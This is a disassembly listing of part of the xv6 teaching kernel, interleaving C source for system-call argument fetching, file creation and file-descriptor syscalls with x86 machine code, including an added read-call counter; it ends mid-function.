80104797: 89 f6 mov %esi,%esi 80104799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801047a0 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 801047a0: 55 push %ebp 801047a1: 89 e5 mov %esp,%ebp 801047a3: 56 push %esi 801047a4: 53 push %ebx 801047a5: 83 ec 10 sub $0x10,%esp 801047a8: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 801047ab: e8 d0 ef ff ff call 80103780 <myproc> 801047b0: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 801047b2: 8d 45 f4 lea -0xc(%ebp),%eax 801047b5: 83 ec 08 sub $0x8,%esp 801047b8: 50 push %eax 801047b9: ff 75 08 pushl 0x8(%ebp) 801047bc: e8 8f ff ff ff call 80104750 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 801047c1: c1 e8 1f shr $0x1f,%eax 801047c4: 83 c4 10 add $0x10,%esp 801047c7: 84 c0 test %al,%al 801047c9: 75 2d jne 801047f8 <argptr+0x58> 801047cb: 89 d8 mov %ebx,%eax 801047cd: c1 e8 1f shr $0x1f,%eax 801047d0: 84 c0 test %al,%al 801047d2: 75 24 jne 801047f8 <argptr+0x58> 801047d4: 8b 16 mov (%esi),%edx 801047d6: 8b 45 f4 mov -0xc(%ebp),%eax 801047d9: 39 c2 cmp %eax,%edx 801047db: 76 1b jbe 801047f8 <argptr+0x58> 801047dd: 01 c3 add %eax,%ebx 801047df: 39 da cmp %ebx,%edx 801047e1: 72 15 jb 801047f8 <argptr+0x58> return -1; *pp = (char*)i; 801047e3: 8b 55 0c mov 0xc(%ebp),%edx 801047e6: 89 02 mov %eax,(%edx) return 0; 801047e8: 31 c0 xor %eax,%eax } 801047ea: 8d 65 f8 lea -0x8(%ebp),%esp 801047ed: 5b pop %ebx 801047ee: 5e pop %esi 801047ef: 5d pop %ebp 801047f0: c3 ret 801047f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct proc *curproc = myproc(); if(argint(n, &i) < 0) return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) return -1; 801047f8: b8 ff ff ff ff mov $0xffffffff,%eax 801047fd: eb eb jmp 801047ea <argptr+0x4a> 801047ff: 90 nop 80104800 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104800: 55 push %ebp 80104801: 89 e5 mov %esp,%ebp 80104803: 83 ec 20 sub $0x20,%esp int addr; if(argint(n, &addr) < 0) 80104806: 8d 45 f4 lea -0xc(%ebp),%eax 80104809: 50 push %eax 8010480a: ff 75 08 pushl 0x8(%ebp) 8010480d: e8 3e ff ff ff call 80104750 <argint> 80104812: 83 c4 10 add $0x10,%esp 80104815: 85 c0 test %eax,%eax 80104817: 78 17 js 80104830 <argstr+0x30> return -1; return fetchstr(addr, pp); 80104819: 83 ec 08 sub $0x8,%esp 8010481c: ff 75 0c pushl 0xc(%ebp) 8010481f: ff 75 f4 pushl -0xc(%ebp) 80104822: e8 c9 fe ff ff call 801046f0 <fetchstr> 80104827: 83 c4 10 add $0x10,%esp } 8010482a: c9 leave 8010482b: c3 ret 8010482c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int argstr(int n, char **pp) { int addr; if(argint(n, &addr) < 0) return -1; 80104830: b8 ff ff ff ff mov $0xffffffff,%eax return fetchstr(addr, pp); } 80104835: c9 leave 80104836: c3 ret 80104837: 89 f6 mov %esi,%esi 80104839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104840 <syscall>: [SYS_getreadcount] sys_getreadcount, }; void syscall(void) { 80104840: 55 push %ebp 80104841: 89 e5 mov %esp,%ebp 80104843: 56 push %esi 80104844: 53 push %ebx int num; struct proc *curproc = myproc(); 80104845: e8 36 ef ff ff call 80103780 <myproc> num = curproc->tf->eax; 8010484a: 8b 70 18 mov 0x18(%eax),%esi void syscall(void) { int num; struct proc *curproc = myproc(); 8010484d: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 8010484f: 8b 56 1c mov 0x1c(%esi),%edx // compare to (#define SYS_read 5) if (num == 5) { 80104852: 83 fa 05 cmp $0x5,%edx 80104855: 74 59 je 801048b0 <syscall+0x70> counter++; } if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104857: 8d 42 ff lea -0x1(%edx),%eax 8010485a: 83 f8 15 cmp $0x15,%eax 8010485d: 77 21 ja 80104880 <syscall+0x40> 8010485f: 8b 04 95 20 76 10 80 mov -0x7fef89e0(,%edx,4),%eax 80104866: 85 c0 test %eax,%eax 80104868: 74 16 je 80104880 <syscall+0x40> curproc->tf->eax = syscalls[num](); 8010486a: ff d0 call *%eax 8010486c: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010486f: 8d 65 f8 lea -0x8(%ebp),%esp 80104872: 5b pop %ebx 80104873: 5e pop %esi 80104874: 5d pop %ebp 80104875: c3 ret 80104876: 8d 76 00 lea 0x0(%esi),%esi 80104879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); 80104880: 8d 43 6c lea 0x6c(%ebx),%eax } if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 80104883: 52 push %edx 80104884: 50 push %eax 80104885: ff 73 10 pushl 0x10(%ebx) 80104888: 68 f9 75 10 80 push $0x801075f9 8010488d: e8 ce bd ff ff call 80100660 <cprintf> curproc->pid, curproc->name, num); curproc->tf->eax = -1; 80104892: 8b 43 18 mov 0x18(%ebx),%eax 80104895: 83 c4 10 add $0x10,%esp 80104898: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } } 8010489f: 8d 65 f8 lea -0x8(%ebp),%esp 801048a2: 5b pop %ebx 801048a3: 5e pop %esi 801048a4: 5d pop %ebp 801048a5: c3 ret 801048a6: 8d 76 00 lea 0x0(%esi),%esi 801048a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi struct proc *curproc = myproc(); num = curproc->tf->eax; // compare to (#define SYS_read 5) if (num == 5) { counter++; 801048b0: 83 05 b8 a5 10 80 01 addl $0x1,0x8010a5b8 801048b7: eb 9e jmp 80104857 <syscall+0x17> 801048b9: 66 90 xchg %ax,%ax 801048bb: 66 90 xchg %ax,%ax 801048bd: 66 90 xchg %ax,%ax 801048bf: 90 nop 801048c0 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 801048c0: 55 push %ebp 801048c1: 89 e5 mov %esp,%ebp 801048c3: 57 push %edi 801048c4: 56 push %esi 801048c5: 53 push %ebx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 801048c6: 8d 75 da lea -0x26(%ebp),%esi return -1; } static struct inode* create(char *path, short type, short major, short minor) { 801048c9: 83 ec 44 sub $0x44,%esp 801048cc: 89 4d c0 mov %ecx,-0x40(%ebp) 801048cf: 8b 4d 08 mov 0x8(%ebp),%ecx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 801048d2: 56 push %esi 801048d3: 50 push %eax return -1; } static struct inode* create(char *path, short type, short major, short minor) { 801048d4: 89 55 c4 mov %edx,-0x3c(%ebp) 801048d7: 89 4d bc mov %ecx,-0x44(%ebp) uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 801048da: e8 01 d6 ff ff call 80101ee0 <nameiparent> 801048df: 83 c4 10 add $0x10,%esp 801048e2: 85 c0 test %eax,%eax 801048e4: 0f 84 f6 00 00 00 je 801049e0 <create+0x120> return 0; ilock(dp); 801048ea: 83 ec 0c sub $0xc,%esp 801048ed: 89 c7 mov %eax,%edi 801048ef: 50 push %eax 801048f0: e8 7b cd ff ff call 80101670 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 801048f5: 8d 45 d4 lea -0x2c(%ebp),%eax 801048f8: 83 c4 0c add $0xc,%esp 801048fb: 50 push %eax 801048fc: 56 push %esi 801048fd: 57 push %edi 801048fe: e8 9d d2 ff ff call 80101ba0 <dirlookup> 80104903: 83 c4 10 add $0x10,%esp 80104906: 85 c0 test %eax,%eax 80104908: 89 c3 mov %eax,%ebx 8010490a: 74 54 je 80104960 <create+0xa0> iunlockput(dp); 8010490c: 83 ec 0c sub $0xc,%esp 8010490f: 57 push %edi 80104910: e8 eb cf ff ff call 80101900 <iunlockput> ilock(ip); 80104915: 89 1c 24 mov %ebx,(%esp) 80104918: e8 53 cd ff ff call 80101670 <ilock> if(type == T_FILE && ip->type == T_FILE) 8010491d: 83 c4 10 add $0x10,%esp 80104920: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp) 80104925: 75 19 jne 80104940 <create+0x80> 80104927: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx) 8010492c: 89 d8 mov %ebx,%eax 8010492e: 75 10 jne 80104940 <create+0x80> panic("create: dirlink"); iunlockput(dp); return ip; } 80104930: 8d 65 f4 lea -0xc(%ebp),%esp 80104933: 5b pop %ebx 80104934: 5e pop %esi 80104935: 5f pop %edi 80104936: 5d pop %ebp 80104937: c3 ret 80104938: 90 nop 80104939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if((ip = dirlookup(dp, name, &off)) != 0){ iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); 80104940: 83 ec 0c sub $0xc,%esp 80104943: 53 push %ebx 80104944: e8 b7 cf ff ff call 80101900 <iunlockput> return 0; 80104949: 83 c4 10 add $0x10,%esp panic("create: dirlink"); iunlockput(dp); return ip; } 8010494c: 8d 65 f4 lea -0xc(%ebp),%esp iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); return 0; 8010494f: 31 c0 xor %eax,%eax panic("create: dirlink"); iunlockput(dp); return ip; } 80104951: 5b pop %ebx 80104952: 5e pop %esi 80104953: 5f pop %edi 80104954: 5d pop %ebp 80104955: c3 ret 80104956: 8d 76 00 lea 0x0(%esi),%esi 80104959: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return ip; iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) 80104960: 0f bf 45 c4 movswl -0x3c(%ebp),%eax 80104964: 83 ec 08 sub $0x8,%esp 80104967: 50 push %eax 80104968: ff 37 pushl (%edi) 8010496a: e8 91 cb ff ff call 80101500 <ialloc> 8010496f: 83 c4 10 add $0x10,%esp 80104972: 85 c0 test %eax,%eax 80104974: 89 c3 mov %eax,%ebx 80104976: 0f 84 cc 00 00 00 je 80104a48 <create+0x188> panic("create: ialloc"); ilock(ip); 8010497c: 83 ec 0c sub $0xc,%esp 8010497f: 50 push %eax 80104980: e8 eb cc ff ff call 80101670 <ilock> ip->major = major; 80104985: 0f b7 45 c0 movzwl -0x40(%ebp),%eax 80104989: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = minor; 8010498d: 0f b7 45 bc movzwl -0x44(%ebp),%eax 80104991: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = 1; 80104995: b8 01 00 00 00 mov $0x1,%eax 8010499a: 66 89 43 56 mov %ax,0x56(%ebx) iupdate(ip); 8010499e: 89 1c 24 mov %ebx,(%esp) 801049a1: e8 1a cc ff ff call 801015c0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 801049a6: 83 c4 10 add $0x10,%esp 801049a9: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp) 801049ae: 74 40 je 801049f0 <create+0x130> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) panic("create dots"); } if(dirlink(dp, name, ip->inum) < 0) 801049b0: 83 ec 04 sub $0x4,%esp 801049b3: ff 73 04 pushl 0x4(%ebx) 801049b6: 56 push %esi 801049b7: 57 push %edi 801049b8: e8 43 d4 ff ff call 80101e00 <dirlink> 801049bd: 83 c4 10 add $0x10,%esp 801049c0: 85 c0 test %eax,%eax 801049c2: 78 77 js 80104a3b <create+0x17b> panic("create: dirlink"); iunlockput(dp); 801049c4: 83 ec 0c sub $0xc,%esp 801049c7: 57 push %edi 801049c8: e8 33 cf ff ff call 80101900 <iunlockput> return ip; 801049cd: 83 c4 10 add $0x10,%esp } 801049d0: 8d 65 f4 lea -0xc(%ebp),%esp if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); iunlockput(dp); return ip; 801049d3: 89 d8 mov %ebx,%eax } 801049d5: 5b pop %ebx 801049d6: 5e pop %esi 801049d7: 5f pop %edi 801049d8: 5d pop %ebp 801049d9: c3 ret 801049da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) return 0; 801049e0: 31 c0 xor %eax,%eax 801049e2: e9 49 ff ff ff jmp 80104930 <create+0x70> 801049e7: 89 f6 mov %esi,%esi 801049e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip->minor = minor; ip->nlink = 1; iupdate(ip); if(type == T_DIR){ // Create . and .. entries. dp->nlink++; // for ".." 801049f0: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 801049f5: 83 ec 0c sub $0xc,%esp 801049f8: 57 push %edi 801049f9: e8 c2 cb ff ff call 801015c0 <iupdate> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 801049fe: 83 c4 0c add $0xc,%esp 80104a01: ff 73 04 pushl 0x4(%ebx) 80104a04: 68 98 76 10 80 push $0x80107698 80104a09: 53 push %ebx 80104a0a: e8 f1 d3 ff ff call 80101e00 <dirlink> 80104a0f: 83 c4 10 add $0x10,%esp 80104a12: 85 c0 test %eax,%eax 80104a14: 78 18 js 80104a2e <create+0x16e> 80104a16: 83 ec 04 sub $0x4,%esp 80104a19: ff 77 04 pushl 0x4(%edi) 80104a1c: 68 97 76 10 80 push $0x80107697 80104a21: 53 push %ebx 80104a22: e8 d9 d3 ff ff call 80101e00 <dirlink> 80104a27: 83 c4 10 add $0x10,%esp 80104a2a: 85 c0 test %eax,%eax 80104a2c: 79 82 jns 801049b0 <create+0xf0> panic("create dots"); 80104a2e: 83 ec 0c sub $0xc,%esp 80104a31: 68 8b 76 10 80 push $0x8010768b 80104a36: e8 35 b9 ff ff call 80100370 <panic> } if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); 80104a3b: 83 ec 0c sub $0xc,%esp 80104a3e: 68 9a 76 10 80 push $0x8010769a 80104a43: e8 28 b9 ff ff call 80100370 <panic> iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) panic("create: ialloc"); 80104a48: 83 ec 0c sub $0xc,%esp 80104a4b: 68 7c 76 10 80 push $0x8010767c 80104a50: e8 1b b9 ff ff call 80100370 <panic> 80104a55: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104a59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a60 <argfd.constprop.0>: #include "fcntl.h" // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) 80104a60: 55 push %ebp 80104a61: 89 e5 mov %esp,%ebp 80104a63: 56 push %esi 80104a64: 53 push %ebx 80104a65: 89 c6 mov %eax,%esi { int fd; struct file *f; if(argint(n, &fd) < 0) 80104a67: 8d 45 f4 lea -0xc(%ebp),%eax #include "fcntl.h" // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) 80104a6a: 89 d3 mov %edx,%ebx 80104a6c: 83 ec 18 sub $0x18,%esp { int fd; struct file *f; if(argint(n, &fd) < 0) 80104a6f: 50 push %eax 80104a70: 6a 00 push $0x0 80104a72: e8 d9 fc ff ff call 80104750 <argint> 80104a77: 83 c4 10 add $0x10,%esp 80104a7a: 85 c0 test %eax,%eax 80104a7c: 78 32 js 80104ab0 <argfd.constprop.0+0x50> return -1; if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104a7e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104a82: 77 2c ja 80104ab0 <argfd.constprop.0+0x50> 80104a84: e8 f7 ec ff ff call 80103780 <myproc> 80104a89: 8b 55 f4 mov -0xc(%ebp),%edx 80104a8c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104a90: 85 c0 test %eax,%eax 80104a92: 74 1c je 80104ab0 <argfd.constprop.0+0x50> return -1; if(pfd) 80104a94: 85 f6 test %esi,%esi 80104a96: 74 02 je 80104a9a <argfd.constprop.0+0x3a> *pfd = fd; 80104a98: 89 16 mov %edx,(%esi) if(pf) 80104a9a: 85 db test %ebx,%ebx 80104a9c: 74 22 je 80104ac0 <argfd.constprop.0+0x60> *pf = f; 80104a9e: 89 03 mov %eax,(%ebx) return 0; 80104aa0: 31 c0 xor %eax,%eax } 80104aa2: 8d 65 f8 lea -0x8(%ebp),%esp 80104aa5: 5b pop %ebx 80104aa6: 5e pop %esi 80104aa7: 5d pop %ebp 80104aa8: c3 ret 80104aa9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ab0: 8d 65 f8 lea -0x8(%ebp),%esp { int fd; struct file *f; if(argint(n, &fd) < 0) return -1; 80104ab3: b8 ff ff ff ff mov $0xffffffff,%eax if(pfd) *pfd = fd; if(pf) *pf = f; return 0; } 80104ab8: 5b pop %ebx 80104ab9: 5e pop %esi 80104aba: 5d pop %ebp 80104abb: c3 ret 80104abc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; if(pfd) *pfd = fd; if(pf) *pf = f; return 0; 80104ac0: 31 c0 xor %eax,%eax 80104ac2: eb de jmp 80104aa2 <argfd.constprop.0+0x42> 80104ac4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104aca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104ad0 <sys_dup>: return -1; } int sys_dup(void) { 80104ad0: 55 push %ebp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104ad1: 31 c0 xor %eax,%eax return -1; } int sys_dup(void) { 80104ad3: 89 e5 mov %esp,%ebp 80104ad5: 56 push %esi 80104ad6: 53 push %ebx struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104ad7: 8d 55 f4 lea -0xc(%ebp),%edx return -1; } int sys_dup(void) { 80104ada: 83 ec 10 sub $0x10,%esp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104add: e8 7e ff ff ff call 80104a60 <argfd.constprop.0> 80104ae2: 85 c0 test %eax,%eax 80104ae4: 78 1a js 80104b00 <sys_dup+0x30> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80104ae6: 31 db xor %ebx,%ebx struct file *f; int fd; if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) 80104ae8: 8b 75 f4 mov -0xc(%ebp),%esi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80104aeb: e8 90 ec ff ff call 80103780 <myproc> for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 80104af0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80104af4: 85 d2 test %edx,%edx 80104af6: 74 18 je 80104b10 <sys_dup+0x40> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80104af8: 83 c3 01 add $0x1,%ebx 80104afb: 83 fb 10 cmp $0x10,%ebx 80104afe: 75 f0 jne 80104af0 <sys_dup+0x20> return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; } 80104b00: 8d 65 f8 lea -0x8(%ebp),%esp { struct file *f; int fd; if(argfd(0, 0, &f) < 0) return -1; 80104b03: b8 ff ff ff ff mov $0xffffffff,%eax if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; } 80104b08: 5b pop %ebx 80104b09: 5e pop %esi 80104b0a: 5d pop %ebp 80104b0b: c3 ret 80104b0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80104b10: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); 80104b14: 83 ec 0c sub $0xc,%esp 80104b17: ff 75 f4 pushl -0xc(%ebp) 80104b1a: e8 c1 c2 ff ff call 80100de0 <filedup> return fd; 80104b1f: 83 c4 10 add $0x10,%esp } 80104b22: 8d 65 f8 lea -0x8(%ebp),%esp if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; 80104b25: 89 d8 mov %ebx,%eax } 80104b27: 5b pop %ebx 80104b28: 5e pop %esi 80104b29: 5d pop %ebp 80104b2a: c3 ret 80104b2b: 90 nop 80104b2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104b30 <sys_read>: int sys_read(void) { 80104b30: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104b31: 31 c0 xor %eax,%eax return fd; } int sys_read(void) { 80104b33: 89 e5 mov %esp,%ebp 80104b35: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104b38: 8d 55 ec lea -0x14(%ebp),%edx 80104b3b: e8 20 ff ff ff call 80104a60 <argfd.constprop.0> 80104b40: 85 c0 test %eax,%eax 80104b42: 78 4c js 80104b90 <sys_read+0x60> 80104b44: 8d 45 f0 lea -0x10(%ebp),%eax 80104b47: 83 ec 08 sub $0x8,%esp 80104b4a: 50 push %eax 80104b4b: 6a 02 push $0x2 80104b4d: e8 fe fb ff ff call 80104750 <argint> 80104b52: 83 c4 10 add $0x10,%esp 80104b55: 85 c0 test %eax,%eax 80104b57: 78 37 js 80104b90 <sys_read+0x60> 80104b59: 8d 45 f4 lea -0xc(%ebp),%eax 80104b5c: 83 ec 04 sub $0x4,%esp 80104b5f: ff 75 f0 pushl -0x10(%ebp) 80104b62: 50 push %eax 80104b63: 6a 01 push $0x1 80104b65: e8 36 fc ff ff call 801047a0 <argptr> 80104b6a: 83 c4 10 add $0x10,%esp 80104b6d: 85 c0 test %eax,%eax 80104b6f: 78 1f js 80104b90 <sys_read+0x60> return -1; return fileread(f, p, n); 80104b71: 83 ec 04 sub $0x4,%esp 80104b74: ff 75 f0 pushl -0x10(%ebp) 80104b77: ff 75 f4 pushl -0xc(%ebp) 80104b7a: ff 75 ec pushl -0x14(%ebp) 80104b7d: e8 ce c3 ff ff call 80100f50 <fileread> 80104b82: 83 c4 10 add $0x10,%esp } 80104b85: c9 leave 80104b86: c3 ret 80104b87: 89 f6 mov %esi,%esi 80104b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 80104b90: b8 ff ff ff ff mov $0xffffffff,%eax return fileread(f, p, n); } 80104b95: c9 leave 80104b96: c3 ret 80104b97: 89 f6 mov %esi,%esi 80104b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ba0 <sys_write>: int sys_write(void) { 80104ba0: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104ba1: 31 c0 xor %eax,%eax return fileread(f, p, n); } int sys_write(void) { 80104ba3: 89 e5 mov %esp,%ebp 80104ba5: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104ba8: 8d 55 ec lea -0x14(%ebp),%edx 80104bab: e8 b0 fe ff ff call 80104a60 <argfd.constprop.0> 80104bb0: 85 c0 test %eax,%eax 80104bb2: 78 4c js 80104c00 <sys_write+0x60> 80104bb4: 8d 45 f0 lea -0x10(%ebp),%eax 80104bb7: 83 ec 08 sub $0x8,%esp 80104bba: 50 push %eax 80104bbb: 6a 02 push $0x2 80104bbd: e8 8e fb ff ff call 80104750 <argint> 80104bc2: 83 c4 10 add $0x10,%esp 80104bc5: 85 c0 test %eax,%eax 80104bc7: 78 37 js 80104c00 <sys_write+0x60> 80104bc9: 8d 45 f4 lea -0xc(%ebp),%eax 80104bcc: 83 ec 04 sub $0x4,%esp 80104bcf: ff 75 f0 pushl -0x10(%ebp) 80104bd2: 50 push %eax 80104bd3: 6a 01 push $0x1 80104bd5: e8 c6 fb ff ff call 801047a0 <argptr> 80104bda: 83 c4 10 add $0x10,%esp 80104bdd: 85 c0 test %eax,%eax 80104bdf: 78 1f js 80104c00 <sys_write+0x60> return -1; return filewrite(f, p, n); 80104be1: 83 ec 04 sub $0x4,%esp 80104be4: ff 75 f0 pushl -0x10(%ebp) 80104be7: ff 75 f4 pushl -0xc(%ebp) 80104bea: ff 75 ec pushl -0x14(%ebp) 80104bed: e8 ee c3 ff ff call 80100fe0 <filewrite> 80104bf2: 83 c4 10 add $0x10,%esp } 80104bf5: c9 leave 80104bf6: c3 ret 80104bf7: 89 f6 mov %esi,%esi 80104bf9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 80104c00: b8 ff ff ff ff mov $0xffffffff,%eax return filewrite(f, p, n); } 80104c05: c9 leave 80104c06: c3 ret 80104c07: 89 f6 mov %esi,%esi 80104c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104c10 <sys_close>: int sys_close(void) { 80104c10: 55 push %ebp 80104c11: 89 e5 mov %esp,%ebp 80104c13: 83 ec 18 sub $0x18,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) 80104c16: 8d 55 f4 lea -0xc(%ebp),%edx 80104c19: 8d 45 f0 lea -0x10(%ebp),%eax 80104c1c: e8 3f fe ff ff call 80104a60 <argfd.constprop.0> 80104c21: 85 c0 test %eax,%eax 80104c23: 78 2b js 80104c50 <sys_close+0x40> return -1; myproc()->ofile[fd] = 0; 80104c25: e8 56 eb ff ff call 80103780 <myproc> 80104c2a: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 80104c2d: 83 ec 0c sub $0xc,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) return -1; myproc()->ofile[fd] = 0; 80104c30: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104c37: 00 fileclose(f); 80104c38: ff 75 f4 pushl -0xc(%ebp) 80104c3b: e8 f0 c1 ff ff call 80100e30 <fileclose> return 0; 80104c40: 83 c4 10 add $0x10,%esp 80104c43: 31 c0 xor %eax,%eax } 80104c45: c9 leave 80104c46: c3 ret 80104c47: 89 f6 mov %esi,%esi 80104c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi { int fd; struct file *f; if(argfd(0, &fd, &f) < 0) return -1; 80104c50: b8 ff ff ff ff mov $0xffffffff,%eax myproc()->ofile[fd] = 0; fileclose(f); return 0; } 80104c55: c9 leave 80104c56: c3 ret 80104c57: 89 f6 mov %esi,%esi 80104c59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104c60 <sys_fstat>: int sys_fstat(void) { 80104c60: 55 push %ebp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104c61: 31 c0 xor %eax,%eax return 0; } int sys_fstat(void) { 80104c63: 89 e5 mov %esp,%ebp 80104c65: 83 ec 18 sub $0x18,%esp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104c68: 8d 55 f0 lea -0x10(%ebp),%edx 80104c6b: e8 f0 fd ff ff call 80104a60 <argfd.constprop.0> 80104c70: 85 c0 test %eax,%eax 80104c72: 78 2c js 80104ca0 <sys_fstat+0x40> 80104c74: 8d 45 f4 lea -0xc(%ebp),%eax 80104c77: 83 ec 04 sub $0x4,%esp 80104c7a: 6a 14 push $0x14 80104c7c: 50 push %eax 80104c7d: 6a 01 push $0x1 80104c7f: e8 1c fb ff ff call 801047a0 <argptr> 80104c84: 83 c4 10 add $0x10,%esp 80104c87: 85 c0 test %eax,%eax 80104c89: 78 15 js 80104ca0 <sys_fstat+0x40> return -1; return filestat(f, st); 80104c8b: 83 ec 08 sub $0x8,%esp 80104c8e: ff 75 f4 pushl -0xc(%ebp) 80104c91: ff 75 f0 pushl -0x10(%ebp) 80104c94: e8 67 c2 ff ff call 80100f00 <filestat> 80104c99: 83 c4 10 add $0x10,%esp } 80104c9c: c9 